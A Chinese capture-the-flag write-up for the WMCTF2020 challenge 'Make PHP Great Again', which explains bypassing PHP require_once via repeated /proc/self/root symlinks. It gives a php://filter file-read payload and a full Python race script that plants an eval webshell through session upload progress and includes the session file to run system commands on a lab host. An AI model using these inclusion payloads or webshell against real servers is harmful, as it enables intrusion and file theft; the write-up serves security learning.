[WMCTF2020]Make PHP Great Again require_once 特性

2023-12-13 07:10:42

php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台

这里是特性

我们首先来解释一下

 <?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

这个是我们的源代码

PHP包含的格式是将 已经包含的文件和文件的真是路径放入哈希表

然后如果存在 就不包含了

特性

这里的特性总结就是require-once如果包含过多软链接 就会失效

所以我们通过大量软链接实现绕过

这里我们使用两个 proc内容

Proc

/proc/self  当前的pid

其中存在root

所以我们继续包含

/proc/self/root


/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self


实现大量软链接

然后最后在var/www/html/flag.php 即可实现


php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

实现包含

然后这里还可以通过 session upload LIF 实现sess文件包含


import io
import requests
import threading
sessid = 'bbbbbbb'
data = {"cmd":"system('cat flag.php');"}   #修改命令
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        #发送upload
        resp = session.post( 'http://7ccbe9ad-2db2-4fa8-bb2e-972cda495260.node4.buuoj.cn:81/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:

        #文件包含
        resp = session.post('http://7ccbe9ad-2db2-4fa8-bb2e-972cda495260.node4.buuoj.cn:81/?file=/tmp/sess_'+sessid,data=data)
        if 'flag' in resp.text:  #判断条件
            print(resp.text)
            event.clear()
            break
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()

        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

?这里再介绍一下非预期

/proc/self/cwd 这里会链接到我们当前的目录中

然后这里我们尝试读取


发现是ok的 成功读取到内容 所以这里我们使用

/new/../../proc/slef/cwd/flag

就会被当做一个新的绝对路径 存入哈希表 不会造成二次包含

这里前面不管换什么都可以解析 因为他只会去解析最终的内容

然后就是

另一个 引用的内容

/proc/self/cwd/flag.php

但是这里我们解析不到 因为这里会回去原本进行解析

文章来源:https://blog.csdn.net/m0_64180167/article/details/134870260
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。